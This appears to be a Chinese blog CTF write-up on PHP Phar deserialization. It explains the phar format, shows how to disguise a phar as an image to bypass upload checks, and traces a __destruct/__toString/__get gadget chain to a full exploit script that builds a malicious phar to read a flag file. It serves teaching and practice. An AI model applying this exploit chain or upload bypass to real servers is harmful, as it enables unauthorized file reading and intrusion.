IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Phar反序列化原理和利用 -> 正文阅读

[PHP知识库]Phar反序列化原理和利用

?1.什么是phar

????? (1) ?? PHAR("Php ARchive") 是PHP里类似于JAR的一种打包文件,将多个PHP文件打包为一个文件,可以和tar,Zip互相转化。

注:php5.3版本之后才支持phar

????? (2) PHAR 文件结构

1. stub(存根):phar文件标识

基本结构

<?php

// 输入代码,内容不限

__halt_compiler;//必须以"__halt_compiler"结尾,否则phar扩展无法识别这个phar文件
?>

这里有一个关键点,文件标识必须以“__halt_compiler”结尾,PHP识别phar文件主要靠“__halt_compiler”这段代码,但是前面的内容没有限制,也就是说我们可以伪造成PDF或GIF文件绕过一些设定的上传限制。

各种文件头:

类型 标识
JPEG 头标识ff d8 ,结束标识ff d9
JPEG 头标识ff d8 ,结束标识ff d9
PNG? 头标识? 89 50 4E 47 0D 0A 1A 0A
GIF??? 头标识(6 bytes) GIF89(7)a
BMP? 头标识(2 bytes) 42 4D BM

2.manifest(清单):压缩文件的属性等信息,以序列化存储。

根据官网给出 Phar manifest file entry definition

?可知,Phar文件中,每个被压缩文件的权限、属性等信息都以序列化的形式存储用户自定义的meta-data,这正是phar反序列化攻击手法切入点。

(序列化:把对象转换为字节序列的过程称为对象的序列化。

??? 反序列化:把字节序列恢复为对象的过程称为对象的反序列化。?)

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,所以我们利用这个漏洞主要是为了触发它的反序列化

3.contents:压缩文件的内容

4.签名 signature (放在文件末尾)

格式:

2.实例分析

我们先看这样一道题

?先看"查看文件"这一栏的源码

if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

if(file_exists($file))这段代码直接调用“file_exists”函数,并未过滤phar流,有序列化,无"unserialize()"函数,文件上传,phar协议未过滤所以这道题是典型的phar反序列化

?然后我们先把网页的源码下载,打开function.php文件

222.90.67.205
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

允许上传的文件只有GIF、JPEG、PNG、JPG

根据之前所说,我们可以通过更改文件后缀名来绕过文件上传的限制。

class.php文件:

从class.php文件:

?在destruct()中存在echo能输出字符串来触发toString()

? show类有__toString()

?__toString方法用于一个类被当成字符串时应怎样回应。例如?echo $obj;?应该显示些什么。此方法必须返回一个字符串,否则将发出一条?E_RECOVERABLE_ERROR?级别的致命错误。

所以要触发“__toString()”我们需要当一个对象被当作一个字符串使用

利用$this->str['str']->source;

发现Test类中。有一个魔法函数__get。

魔术方法__get()的作用

在程序运行过程中,通过它可以在对象的外部获取私有成员属性的值。

当调用不存在的函数或属性时。就会自动调用__get函数。get函数又会调用__get。get又调用file_get读取文件。利用__get()触发file_get()最终触发file_get_contents()

梳理一下思路

C1e4r::__destruct() ---> Show::__toString() ---> Test::__get() 。

1.通过cle4r,将str赋值为show类

?2.触发show类中的__toString魔术方法,进入show类执行

3.进入test类执行_get()

接下来构造exp

>?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;         //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;   //利用 $this->str['str']->source;


$phar = new Phar("exp.phar");                     //.phar文件
$phar->startBuffering(); 
$phar->setStub('<?php __HALT_COMPILER(); ? >');   //phar固定的格式
$phar->setMetadata($c1e4r);                       //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "text");          //生成签名
$phar->stopBuffering();

?>

生成文件后将后缀名改为JPG

上传文件

查看upload目录,最后一个jpg文件才是构造的exp,前面几个图片是测试上传情况

回到file.php界面

?得到base64加密的内容

最后将base64加密的内容解码得到flag

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-27 09:43:01  更:2021-11-27 09:43:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:46:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码